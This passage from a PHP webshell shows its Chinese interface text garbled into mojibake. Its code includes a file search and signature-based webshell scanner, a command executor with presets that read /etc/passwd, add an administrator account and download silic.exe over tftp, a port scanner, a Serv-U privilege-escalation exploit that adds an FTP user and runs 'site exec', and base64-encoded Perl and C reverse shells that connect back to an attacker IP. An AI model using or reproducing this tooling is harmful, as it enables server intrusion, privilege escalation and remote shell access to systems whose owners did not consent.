616 echo ' <a href="'.$Fileurls.'" target="_blank"> <font color="#8B0000"> '.$Filepath.' </font> </a> <br> ã€<a href="?s=e&fp='.urlencode($sp).'&fn='.$Filename.'&dim='.urlencode($key).'" target="_blank"> 编辑 </a> <a href="?s=e&df='.urlencode($Filepath).'" target="_blank"> åˆ é™¤ </a> 】 ';
617 echo ' 〠'.$Filetime.' 】 <font color="#FF0000"> '.$var.' </font> <br> <br> '."\r\n";
618 break;
619 }
620 }
621 ob_flush();
622 flush();
623 }
624 }
625 @closedir($h_d);
626 return true;
627}
628
629function Antivirus_e()
630{
631 if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo 'åˆ é™¤æˆåŠŸ';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? 'åˆ é™¤æˆåŠŸ' : 'åˆ é™¤å¤±è´¥';} return false;}
632 if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; }
633 $SCAN_DIR = isset($_POST['sp']) ? $_POST['sp'] : File_Mode();
634 $features_php = array('eval一å¥è¯ç‰¹å¾'=>'eval(','大马read特å¾'=>'->read()','大马readdir特å¾3'=>'readdir(','MYSQL自定义函数è¯å¥'=>'returns string soname','åŠ å¯†ç‰¹å¾1'=>'eval(gzinflate(','åŠ å¯†ç‰¹å¾2'=>'eval(base64_decode(','åŠ å¯†ç‰¹å¾3'=>'base64_decode(','eval一å¥è¯2'=>'eval (','phpå¤åˆ¶ç‰¹å¾'=>'copy($_FILES','å¤åˆ¶ç‰¹å¾2'=>'copy ($_FILES','ä¸Šä¼ ç‰¹å¾'=>'move_uploaded_file($_FILES','ä¸Šä¼ ç‰¹å¾2'=>'move_uploaded_file ($_FILES','å°é©¬ç‰¹å¾'=>'str_replace(\'\\\\\',\'/\',');
635 $features_asx = array('è„šæœ¬åŠ å¯†'=>'VBScript.Encode','åŠ å¯†ç‰¹å¾'=>'#@~^','fso组件'=>'fso.createtextfile(path,true)','excute一å¥è¯'=>'execute','eval一å¥è¯'=>'eval','wscript特å¾'=>'F935DC22-1CF0-11D0-ADB9-00C04FD58A0B','æ•°æ®åº“æ“作特å¾'=>'13709620-C279-11CE-A49E-444553540000','wscript特å¾'=>'WScript.Shell','fso特å¾'=>'0D43FE01-F093-11CF-8940-00A0C9054228','å三函数'=>'â•‹â•','aspx大马特å¾'=>'Process.GetProcesses','aspx一å¥è¯'=>'Request.BinaryRead');
636print<<<END
637<form method="POST" name="tform" id="tform" action="?s=e">
638<div class="actall">扫æ路径 <input type="text" name="sp" id="sp" value="{$SCAN_DIR}" style="width:600px;"></div>
639<div class="actall">木马类型 <input type="checkbox" name="stphp" value="php" checked>php木马
640<input type="checkbox" name="stasx" value="asx">asp+aspx木马</div>
641<div class="actall" style="height:50px;"><input type="radio" name="sb" value="a" checked>将扫马应用于该文件夹,å文件夹和文件
642<br><input type="radio" name="sb" value="b">仅将扫马应用于该文件夹</div>
643<div class="actall"><input type="submit" value="开始扫æ" style="width:80px;"></div>
644</form>
645END;
646if(!empty($_POST['sp']))
647{
648 echo '<div class="actall">';
649 if(isset($_POST['stphp'])){$features_all = $features_php; $st = '\.php|\.inc|\;';}
650 if(isset($_POST['stasx'])){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';}
651 if(isset($_POST['stphp']) && isset($_POST['stasx'])){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';}
652 $sb = ($_POST['sb'] == 'a') ? true : false;
653 echo Antivirus_Auto($_POST['sp'],$features_all,$st,$sb) ? '扫æ完毕' : '异常终æ¢';
654 echo '</div>';
655}
656return true;
657}
658//æœç´¢æ–‡ä»¶
659function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb)
660{
661 //echo $sfp.'<br>'.$sfc.'<br>'.$sft.'<br>'.$sff.'<br>'.$sfb;
662 if(($h_d = @opendir($sfp)) == NULL) return false;
663 while(false !== ($Filename = @readdir($h_d)))
664 {
665 if($Filename == '.' || $Filename == '..') continue;
666 if(eregi($sft,$Filename)) continue;
667 $Filepath = File_Str($sfp.'/'.$Filename);
668 if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb);
669 if($sff)
670 {
671 if(stristr($Filename,$sfc))
672 {
673 echo '<a target="_blank" href="?s=p&fp='.urlencode($sfp).'&fn='.urlencode($Filename).'"> '.$Filepath.' </a><br>'."\r\n";
674 ob_flush();
675 flush();
676 }
677 }
678 else
679 {
680 $File_code = File_Read($Filepath);
681 if(stristr($File_code,$sfc))
682 {
683 echo '<a target="_blank" href="?s=p&fp='.urlencode($sfp).'&fn='.urlencode($Filename).'"> '.$Filepath.' </a><br>'."\r\n";
684 ob_flush();
685 flush();
686 }
687 }
688 }
689 @closedir($h_d);
690 return true;
691}
692function Findfile_j()
693{
694 if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo 'åˆ é™¤æˆåŠŸ';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? 'åˆ é™¤æˆåŠŸ' : 'åˆ é™¤å¤±è´¥';} return false;}
695 if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; }
696 $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode();
697 $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config';
698 $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip|.pdf|.dll|.exe|.txt|.inf|.ppt|.xls|.js';
699print<<<END
700<form method="POST" name="jform" id="jform" action="?s=j">
701<div class="actall">扫æ路径 <input type="text" name="sfp" value="{$SCAN_DIR}" style="width:600px;"></div>
702<div class="actall">过滤文件 <input type="text" name="sft" value="{$SCAN_TYPE}" style="width:600px;"></div>
703<div class="actall">关键å—串 <input type="text" name="sfc" value="{$SCAN_CODE}" style="width:395px;">
704<input type="radio" name="sff" value="a" checked>æœç´¢æ–‡ä»¶å
705<input type="radio" name="sff" value="b">æœç´¢åŒ…å«æ–‡å—</div>
706<div class="actall" style="height:50px;"><input type="radio" name="sfb" value="a" checked>å°†æœç´¢åº”用于该文件夹,å文件夹和文件
707<br><input type="radio" name="sfb" value="b">ä»…å°†æœç´¢åº”用于该文件夹</div>
708<div class="actall"><input type="submit" value="开始扫æ" style="width:80px;"></div>
709</form>
710END;
711 if((!empty($_POST['sfp'])) && (!empty($_POST['sfc'])))
712 {
713 echo '<div class="actall">';
714 $_POST['sft'] = str_replace('.','\\.',$_POST['sft']);
715 $sff = ($_POST['sff'] == 'a') ? true : false;
716 $sfb = ($_POST['sfb'] == 'a') ? true : false;
717 echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? 'æœç´¢å®Œæ¯•' : '异常终æ¢';
718 echo '</div>';
719 }
720 return true;
721}
722//系统信æ¯
723function Info_Cfg($varname){
724switch($result = get_cfg_var($varname)){
725 case 0:return "No";break;
726 case 1:return "Yes";break;
727 default:return $result;break;}}
728function Info_Fun($funName){return(false !==function_exists($funName)) ? "Yes" : "No";}
729function Info_f()
730{
731$dis_func = get_cfg_var("disable_functions");
732$upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "ä¸å…è®¸ä¸Šä¼ ";
733$adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>";
734if($dis_func == ""){$dis_func = "No";}
735else{
736 $dis_func = str_replace(" ","<br>",$dis_func);
737 $dis_func = str_replace(",","<br>",$dis_func);
738}
739$phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No";
740$info = array(
741array("æœåŠ¡å™¨æ—¶é—´/北京时间",date("Yå¹´m月dæ—¥ h:i:s",time())." / ".gmdate("Yå¹´n月jæ—¥ H:i:s",time()+8*3600)),
742array("æœåŠ¡å™¨åŸŸå:端å£(ip)","<a href=\"http://".$_SERVER['SERVER_NAME']."\" target=\"_blank\">".$_SERVER['SERVER_NAME']."</a>:".$_SERVER['SERVER_PORT']." ( ".gethostbyname($_SERVER['SERVER_NAME'])." )"),
743array("æœåŠ¡å™¨æ“作系统(æ–‡å—ç¼–ç )",PHP_OS." (".$_SERVER['HTTP_ACCEPT_LANGUAGE'].")"),
744array("æœåŠ¡å™¨è§£è¯‘引擎",$_SERVER['SERVER_SOFTWARE']),
745array("ä½ çš„IP",getenv('REMOTE_ADDR')),
746array("PHPè¿è¡Œæ–¹å¼(版本)",strtoupper(php_sapi_name())."(".PHP_VERSION.") / 安全模å¼:".Info_Cfg("safemode")),
747array("æœåŠ¡å™¨ç®¡ç†å‘˜",$adminmail),
748array("本文件路径",__FILE__),
749array("å…许使用URL打开文件[allow_url_fopen]",Info_Cfg("allow_url_fopen")),
750array("å…许动æ€åŠ 载链接库[enable_dl]",Info_Cfg("enable_dl")),
751array("显示错误信æ¯[display_errors]",Info_Cfg("display_errors")),
752array("自定义全局å˜é‡[register_globals]",Info_Cfg("register_globals")),
753array("自动å—符串转义[magic_quotes_gpc]",Info_Cfg("magic_quotes_gpc")),
754array("最多内å˜ä½¿ç”¨é‡[memory_limit]",Info_Cfg("memory_limit")),
755array("POST最大å—节[post_max_size]",Info_Cfg("post_max_size")),
756array("å…è®¸æœ€å¤§ä¸Šä¼ [upload_max_filesize]",$upsize),
757array("程åºæœ€é•¿è¿è¡Œæ—¶é—´[max_execution_time]",Info_Cfg("max_execution_time")."秒"),
758array("ç¦ç”¨å‡½æ•°[disable_functions]",$dis_func),
759array("程åºä¿¡æ¯å‡½æ•°[phpinfo()]",$phpinfo),
760array("ç›®å‰è¿˜æœ‰ç©ºä½™ç©ºé—´diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'),
761array("GZ压缩文件支æŒ[zlib]",Info_Fun("gzclose")),
762array("ZIP压缩文件支æŒ[ZipArchive(php_zip)]",Info_Fun("zip_open")),
763array("IMAP电å邮件系统",Info_Fun("imap_close")),
764array("XML解æž",Info_Fun("xml_set_object")),
765array("FTP登陆",Info_Fun("ftp_login")),
766array("Session支æŒ",Info_Fun("session_start")),
767array("Socket支æŒ",Info_Fun("fsockopen")),
768array("MySQLæ•°æ®åº“",Info_Fun("mysql_close")),
769array("MSSQLæ•°æ®åº“",Info_Fun("mssql_close")),
770array("Postgre SQLæ•°æ®åº“",Info_Fun("pg_close")),
771array("SQLiteæ•°æ®åº“",Info_Fun("sqlite_close")),
772array("Oracleæ•°æ®åº“",Info_Fun("ora_close")),
773array("Oracle 8æ•°æ®åº“",Info_Fun("OCILogOff")),
774array("SyBaseæ•°æ®åº“",Info_Fun("sybase_close")),
775array("Hyperwaveæ•°æ®åº“",Info_Fun("hw_close")),
776array("InforMixæ•°æ®åº“",Info_Fun("ifx_close")),
777array("FileProæ•°æ®åº“",Info_Fun("filepro_fieldcount")),
778array("DBA/DBM连接",Info_Fun("dba_close")." / ".Info_Fun("dbmclose")),
779array("ODBC/dBASE连接",Info_Fun("odbc_close")." / ".Info_Fun("dbase_close")),
780array("PREL相容è¯æ³•[PCRE]",Info_Fun("preg_match")),
781array("PDF支æŒ",Info_Fun("pdf_close")),
782array("图形处ç†[GD Library]",Info_Fun("imageline")),
783array("SNMP网络管ç†åè®®",Info_Fun("snmpget")),);
784echo '<table width="100%" border="0">';
785for($i = 0;$i < count($info);$i++){echo '<tr><td width="40%">'.$info[$i][0].'</td><td>'.$info[$i][1].'</td></tr>'."\n";}
786echo '</table>';
787return true;
788}
789//执行命令
790function Exec_Run($cmd)
791{
792 $res = '';
793 if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
794 elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
795 elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
796 elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
797 elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
798 return $res;
799}
800function Exec_g()
801{
802 $res = '回显';
803 $cmd = 'dir';
804 if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];}
805print<<<END
806<script language="javascript">
807function sFull(i){
808 Str = new Array(14);
809 Str[0] = "dir";
810 Str[1] = "ls /etc";
811 Str[2] = "cat /etc/passwd";
812 Str[3] = "cp -a /home/www/html/a.php /home/www2/";
813 Str[4] = "uname -a";
814 Str[5] = "gcc -o /tmp/silic /tmp/silic.c";
815 Str[6] = "net user silic silic /add & net localgroup administrators silic /add";
816 Str[7] = "net user";
817 Str[8] = "netstat -an";
818 Str[9] = "ipconfig";
819 Str[10] = "copy c:\\1.php d:\\2.php";
820 Str[11] = "tftp -i 123.234.222.1 get silic.exe c:\\silic.exe";
821 Str[12] = "lsb_release -a";
822 Str[13] = "chmod 777 /tmp/silic.c";
823document.getElementById('cmd').value = Str[i];
824return true;
825}
826</script>
827<form method="POST" name="gform" id="gform" action="?s=g"><center><div class="actall">
828命令å‚æ•° <input type="text" name="cmd" id="cmd" value="{$cmd}" style="width:399px;">
829<select onchange='return sFull(options[selectedIndex].value)'>
830<option value="0" selected>--命令集åˆ--</option>
831<option value="1">文件列表</option>
832<option value="2">读å–é…ç½®</option>
833<option value="3">æ‹·è´æ–‡ä»¶</option>
834<option value="4">系统信æ¯</option>
835<option value="5">编译文件</option>
836<option value="6">æ·»åŠ ç®¡ç†</option>
837<option value="7">用户列表</option>
838<option value="8">查看端å£</option>
839<option value="9">查看地å€</option>
840<option value="10">å¤åˆ¶æ–‡ä»¶</option>
841<option value="11">FTP下载</option>
842<option value="12">å†…æ ¸ç‰ˆæœ¬</option>
843<option value="13">更改属性</option>
844</select>
845<input type="submit" value="执行" style="width:80px;"></div>
846<div class="actall"><textarea name="show" style="width:660px;height:399px;">{$res}</textarea></div></center></form>
847END;
848return true;
849}
850//扫æ端å£
851function Port_i()
852{
853$Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1';
854$Port_port = isset($_POST['port']) ? $_POST['port'] : '21|22|23|25|80|110|111|135|139|443|445|1433|1521|3306|3389|4899|5432|5631|7001|8000|8080|14147|43958';
855print<<<END
856<form method="POST" name="iform" id="iform" action="?s=i">
857<div class="actall">扫æIP <input type="text" name="ip" value="{$Port_ip}" style="width:600px;"> </div>
858<div class="actall">端å£å· <input type="text" name="port" value="{$Port_port}" style="width:720px;"></div>
859<div class="actall"><input type="submit" value="扫æ" style="width:80px;"></div>
860</form>
861END;
862 if((!empty($_POST['ip'])) && (!empty($_POST['port'])))
863 {
864 echo '<div class="actall">';
865 $ports = explode('|', $_POST['port']);
866 for($i = 0;$i < count($ports);$i++)
867 {
868 $fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,2);
869 echo $fp ? '<font color="#FF0000">å¼€æ”¾ç«¯å£ ---> '.$ports[$i].'</font><br>' : 'å…³é—ç«¯å£ ---> '.$ports[$i].'<br>';
870 ob_flush();
871 flush();
872 }
873 echo '</div>';
874 }
875 return true;
876}
877//ServU
878function Servu_l()
879{
880$SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P';
881print<<<END
882<div class="actall"><a href="?s=l">[执行命令]</a> <a href="?s=l&o=adduser">[æ·»åŠ ç”¨æˆ·]</a></div>
883<form method="POST">
884 <div class="actall">ServUç«¯å£ <input name="SUPort" type="text" value="43958" style="width:300px"></div>
885 <div class="actall">ServU用户 <input name="SUUser" type="text" value="LocalAdministrator" style="width:300px"></div>
886 <div class="actall">ServU密ç <input name="SUPass" type="text" value="{$SUPass}" style="width:300px"></div>
887END;
888if($_GET['o'] == 'adduser')
889{
890print<<<END
891<div class="actall">å¸å· <input name="user" type="text" value="yoco" style="width:200px">
892密ç <input name="password" type="text" value="silic" style="width:200px">
893目录 <input name="part" type="text" value="C:\\\\" style="width:200px"></div>
894END;
895}
896else
897{
898print<<<END
899<div class="actall">ææƒå‘½ä»¤ <input name="SUCommand" type="text" value="net user silic silic /add & net localgroup administrators silic /add" style="width:600px"><br>
900<input name="user" type="hidden" value="silic">
901<input name="password" type="hidden" value="silic">
902<input name="part" type="hidden" value="C:\\\\"></div>
903END;
904}
905echo '<div class="actall"><input type="submit" value="执行" style="width:80px;"></div></form>';
906 if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass'])))
907 {
908 echo '<div class="actall">';
909 $sendbuf = "";
910 $recvbuf = "";
911 $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n";
912 $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n".
913 "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n".
914 "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n";
915 $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n";
916 $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10);
917 $recvbuf = @fgets($sock, 1024);
918 echo "返回数æ®åŒ…: $recvbuf <br>";
919 $sendbuf = "USER ".$_POST["SUUser"]."\r\n";
920 @fputs($sock, $sendbuf, strlen($sendbuf));
921 echo "å‘é€æ•°æ®åŒ…: $sendbuf <br>";
922 $recvbuf = @fgets($sock, 1024);
923 echo "返回数æ®åŒ…: $recvbuf <br>";
924 $sendbuf = "PASS ".$_POST["SUPass"]."\r\n";
925 @fputs($sock, $sendbuf, strlen($sendbuf));
926 echo "å‘é€æ•°æ®åŒ…: $sendbuf <br>";
927 $recvbuf = @fgets($sock, 1024);
928 echo "返回数æ®åŒ…: $recvbuf <br>";
929 $sendbuf = "SITE MAINTENANCE\r\n";
930 @fputs($sock, $sendbuf, strlen($sendbuf));
931 echo "å‘é€æ•°æ®åŒ…: $sendbuf <br>";
932 $recvbuf = @fgets($sock, 1024);
933 echo "返回数æ®åŒ…: $recvbuf <br>";
934 $sendbuf = $domain;
935 @fputs($sock, $sendbuf, strlen($sendbuf));
936 echo "å‘é€æ•°æ®åŒ…: $sendbuf <br>";
937 $recvbuf = @fgets($sock, 1024);
938 echo "返回数æ®åŒ…: $recvbuf <br>";
939 $sendbuf = $adduser;
940 @fputs($sock, $sendbuf, strlen($sendbuf));
941 echo "å‘é€æ•°æ®åŒ…: $sendbuf <br>";
942 $recvbuf = @fgets($sock, 1024);
943 echo "返回数æ®åŒ…: $recvbuf <br>";
944 if(!empty($_POST['SUCommand']))
945 {
946 $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10);
947 $recvbuf = @fgets($exp, 1024);
948 echo "返回数æ®åŒ…: $recvbuf <br>";
949 $sendbuf = "USER ".$_POST['user']."\r\n";
950 @fputs($exp, $sendbuf, strlen($sendbuf));
951 echo "å‘é€æ•°æ®åŒ…: $sendbuf <br>";
952 $recvbuf = @fgets($exp, 1024);
953 echo "返回数æ®åŒ…: $recvbuf <br>";
954 $sendbuf = "PASS ".$_POST['password']."\r\n";
955 @fputs($exp, $sendbuf, strlen($sendbuf));
956 echo "å‘é€æ•°æ®åŒ…: $sendbuf <br>";
957 $recvbuf = @fgets($exp, 1024);
958 echo "返回数æ®åŒ…: $recvbuf <br>";
959 $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n";
960 @fputs($exp, $sendbuf, strlen($sendbuf));
961 echo "å‘é€æ•°æ®åŒ…: site exec <font color=#006600>".$_POST["SUCommand"]."</font> <br>";
962 $recvbuf = @fgets($exp, 1024);
963 echo "返回数æ®åŒ…: $recvbuf <br>";
964 $sendbuf = $deldomain;
965 @fputs($sock, $sendbuf, strlen($sendbuf));
966 echo "å‘é€æ•°æ®åŒ…: $sendbuf <br>";
967 $recvbuf = @fgets($sock, 1024);
968 echo "返回数æ®åŒ…: $recvbuf <br>";
969 @fclose($exp);
970 }
971 @fclose($sock);
972 echo '</div>';
973 }
974}
975//å弹连接
976function backconn()
977{
978$ty=$_GET['ty'];
979if($ty=='socket'){
980@set_time_limit(0);
981$system=strtoupper(substr(PHP_OS, 0, 3));
982if(!extension_loaded('sockets'))
983{
984if($system == 'WIN'){@dl('php_sockets.dll') or die("Can't load socket");}
985else{@dl('sockets.so') or die("Can't load socket");}
986}
987if(isset($_POST['host']) && isset($_POST['port']))
988{
989$host = $_POST['host'];
990$port = $_POST['port'];
991}else{
992print<<<END
993<div class="actall"><form method=post action="?s=dd&ty=socket">
994<br>主机类型:<input type="radio" name=info value="linux">Linux <input type="radio" name=info value="win" checked>Windows<br><br>
995主机：<input type=text name=host value=""><br>
996端å£ï¼š<input type=text name=port value="1120"><br><br>
997<input class="bt" type=submit name=submit value="å弹连接"><br><br></form></div>
998END;
999}
1000if($system=="WIN"){$env=array('path' => 'c:\\windows\\system32');}
1001else{$env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');}
1002$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"),);
1003$host=gethostbyname($host);
1004$proto=getprotobyname("tcp");
1005if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}
1006if(($ret=socket_connect($sock,$host,$port))<0){die("连接失败");}
1007else{
1008$message="Gh0st1.0< - PHPå弹连接\n";
1009socket_write($sock,$message,strlen($message));
1010$cwd=str_replace('\\','/',dirname(__FILE__));
1011while($cmd=socket_read($sock,65535,$proto))
1012{
1013if(trim(strtolower($cmd))=="exit"){socket_write($sock,"Bye\n"); exit;}
1014else{
1015$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
1016if (is_resource($process)){
1017fwrite($pipes[0], $cmd);
1018fclose($pipes[0]);
1019$msg=stream_get_contents($pipes[1]);
1020socket_write($sock,$msg,strlen($msg));
1021fclose($pipes[1]);
1022$msg=stream_get_contents($pipes[2]);
1023socket_write($sock,$msg,strlen($msg));
1024$return_value = proc_close($process);
1025}
1026}
1027}
1028}
1029}
1030elseif($ty=='linux'){
1031$yourip = isset($_POST['yourip']) ? $_POST['yourip'] : getenv('REMOTE_ADDR');
1032$yourport = isset($_POST['yourport']) ? $_POST['yourport'] : '12666';
1033print<<<END
1034<div class="actall"><form method="POST" name="kform" id="kform" action="?s=dd&ty=linux">
1035<br>ä½ çš„åœ°å€ <input type="text" name="yourip" value="{$yourip}" style="width:400px"><br>
1036è¿žæŽ¥ç«¯å£ <input type="text" name="yourport" value="12666" style="width:400px"><br>
1037æ‰§è¡Œæ–¹å¼ <select name="use"><option value="perl">perl</option><option value="c">c</option></select>
1038<input type="submit" value="å弹连接" style="width:80px;"><br><br><br></form></div>
1039END;
1040if((!empty($_POST['yourip'])) && (!empty($_POST['yourport'])))
1041{
1042echo '<div class="actall">';
1043if($_POST['use'] == 'perl')
1044{
1045$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1046echo File_Write('/tmp/yoco_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/yoco_bcæˆåŠŸ<br>' : '创建/tmp/yoco_bc失败<br>';
1047$perlpath = Exec_Run('which perl');
1048$perlpath = $perlpath ? chop($perlpath) : 'perl';
1049echo Exec_Run($perlpath.' /tmp/yoco_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
1050}
1051if($_POST['use'] == 'c')
1052{
1053$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1054echo File_Write('/tmp/yoco_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/yoco_bc.cæˆåŠŸ<br>' : '创建/tmp/yoco_bc.c失败<br>';
1055$res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1056@unlink('/tmp/yoco.c');
1057echo Exec_Run('/tmp/yoco_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
1058}
1059echo '<br>ä½ å¯ä»¥å°è¯•è¿žæŽ¥ç«¯å£ (nc -l -n -v -p '.$_POST['yourport'].') </div>';
1060}
1061return true;
1062}else{
1063print<<<END
1064<div class="actall"><pre>
1065<br><a href="?s=dd&ty=linux"> [ C/Perl åå¼¹ - Linux ] </a><br><br>
1066<h5>本共能用于linuxææƒä¸çš„åå‘cmd连接。<br>
1067原ç†æ˜¯å°†å弹连接功能的perl脚本或者C程åºå†™å…¥/tmp文件夹并è¿è¡Œ<br>
1068è‹¥phpç¦ç”¨äº†å‘½ä»¤æ‰§è¡Œå‡½æ•°å°†å¯èƒ½å¯¼è‡´å弹失败<br>
1069本地请è¿è¡Œnc程åºç›‘å¬ç«¯å£ï¼Œä¾‹å¦‚nc -vv -l -p 12666</h5><br><br><br>
1070<a href="?s=dd&ty=socket"> [ Socketåå¼¹ - Windows ] </a><br><br>
1071<h5>PHP使用Socket进行cmdshellåå‘连接。Webshell所在æœåŠ¡å™¨å¿…须为Windows系统<br>
1072ç›®å‰æ²¡æœ‰å‘现有防护软件会对Socketåå‘连接åšå‡ºé™åˆ¶ï¼Œä½†php_sockets必须设置为open/enable<br>
1073请先通过phpinfo()函数查看æœåŠ¡å™¨æ˜¯å¦å…许php_socket连接<br>
1074Socketåå‘连接的用途用于当PHPç¦ç”¨äº†éƒ¨åˆ†å‘½ä»¤æ‰§è¡Œå‡½æ•°åŽçš„命令执行<br>
